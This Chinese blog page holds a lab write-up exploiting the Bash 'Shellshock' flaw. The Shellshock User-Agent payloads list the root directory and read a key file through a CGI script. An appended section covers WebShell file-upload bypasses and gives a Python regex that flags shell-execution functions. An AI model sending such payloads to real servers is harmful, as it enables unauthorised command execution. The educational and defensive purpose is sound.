[ 墨者学院 ] 命令执行——Bash漏洞分析溯源

本文详细介绍了安全工程师在授权测试中发现的Bash远程命令执行漏洞,包括漏洞成因、利用方法及实践步骤。通过构造特定请求头,成功执行了远程命令并获取关键信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00.题目描述:

背景介绍

安全工程师"墨者"对一单位业务系统进行授权测试,在测试过程中,发现存在bash命令执行漏洞。

实训目标

1、了解bash;

2、了解Bash远程命令执行漏洞形成原因;

3、了解Bash远程命令执行漏洞利用方法;

解题方向

找到poc.cgi文件

 

0x01.题目分析:

根据题目说明,在网上对Bash远程命令执行漏洞进行了一番学习。

参考连接

freebuf:https://www.freebuf.com/vuls/44994.html

Seebug:https://www.seebug.org/vuldb/ssvid-88877

 

0x02.解题过程

通过网上的资料搜查,发现此漏洞存在的路径多数在网页/cgi-bin/下,结合题目给的提示,打开http://url/cgi-bin/poc.cgi

构造执行语句插入到请求头的User-Agent头里面

User-Agent: () { :;}; echo; /bin/ls /

然后构造执行语句查看key.txt

User-Agent: () { :;}; echo; /bin/cat /key.txt

转载于:https://www.cnblogs.com/qtisec/p/11095444.html

### 墨者学院 WebShell 文件上传漏洞分析溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序,攻击者可以通过它远程控制受害者的服务器。文件上传漏洞通常允许攻击者通过伪造请或其他手段绕过安全机制,在服务器上放置恶意脚本。 在墨者学院的相关题目中提到的内容涉及多个方面,包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析 文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面: 1. **MIME 类型校验不严格** 攻击者可以使用工具(如 Burp Suite)抓取 HTTP 请并修改其 MIME 类型字段,从而绕过基于内容类型的限制。例如,将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型,则容易被禁用或绕过。一旦禁用了 JavaScript 功能,就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时,可能会接受带有特殊后缀名(比如 `.php5`, `.pht` 等变种 PHP 扩展)的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议 为了有效防范此类问题的发生,可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害; - 定期审查现有代码库寻找可能存在的安全隐患点,并及时修补已知漏洞; 以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r'(?:exec|passthru|shell_exec|system|proc_open|popen)' match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo 'hello'; ?>", "<?php system('ls'); ?>"] for s in test_strings: print(f"'{s}' -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结 通过对墨者学院案例的学习可以看出,针对 web shell 的防御工作需要综合考虑多层面的因素,从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值